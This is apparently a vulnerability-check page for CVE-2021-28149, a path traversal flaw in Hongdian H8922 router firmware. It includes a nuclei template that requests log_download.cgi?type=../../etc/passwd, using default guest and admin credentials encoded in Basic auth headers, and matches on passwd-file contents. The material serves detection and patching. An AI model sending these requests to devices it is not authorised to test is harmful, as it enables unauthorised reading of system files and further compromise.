Hongdian H8922 3.0.5 Devices - Local File Inclusion

mediumseverity

6.5CVSS score

15.3%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

Hongdian H8922 3.0.5 devices are vulnerable to local file inclusion. The /log_download.cgi log export handler does not validate user input and allows a remote attacker with minimal privileges to download any file from the device by substituting ../ (e.g., ../../etc/passwd) This can be carried out with a web browser by changing the file name accordingly. Upon visiting log_download.cgi?type=../../etc/passwd and logging in, the web server will allow a download of the contents of the /etc/passwd file.

Impact

Successful exploitation of this vulnerability can result in unauthorized access to sensitive files, potentially leading to further compromise of the system.

Fix

Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in Hongdian H8922 3.0.5 Devices.

How to confirm it

Send: GET /log_download.cgi?type=../../etc/passwd
Positive when: contains in header "application/octet-stream" AND matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2021-28149 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-28149

info:
  name: Hongdian H8922 3.0.5 Devices - Local File Inclusion
  author: gy741
  severity: medium
  description: |
    Hongdian H8922 3.0.5 devices are vulnerable to local file inclusion. The /log_download.cgi log export handler does not validate user input and allows a remote attacker with minimal privileges to download any file from the device by substituting ../ (e.g., ../../etc/passwd) This can be carried out with a web browser by changing the file name accordingly. Upon visiting log_download.cgi?type=../../etc/passwd and logging in, the web server will allow a download of the contents of the /etc/passwd file.
  impact: |
    Successful exploitation of this vulnerability can result in unauthorized access to sensitive files, potentially leading to further compromise of the system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in Hongdian H8922 3.0.5 Devices.
  reference:
    - https://ssd-disclosure.com/ssd-advisory-hongdian-h8922-multiple-vulnerabilities/
    - http://en.hongdian.com/Products/Details/H8922
    - https://nvd.nist.gov/vuln/detail/CVE-2021-28149
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ArrestX/--POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-28149
    cwe-id: CWE-22
    epss-score: 0.15324
    epss-percentile: 0.96799
    cpe: cpe:2.3:o:hongdian:h8922_firmware:3.0.5:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: hongdian
    product: h8922_firmware
  tags: cve2021,cve,hongdian,traversal,vkev,vuln

http:
  - raw:
      - |
        GET /log_download.cgi?type=../../etc/passwd HTTP/1.1
        Host: {{Hostname}}
        Cache-Control: max-age=0
        Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
      - |
        GET /log_download.cgi?type=../../etc/passwd HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic YWRtaW46YWRtaW4=

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "sshd:[x*]"
          - "root:[$]"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from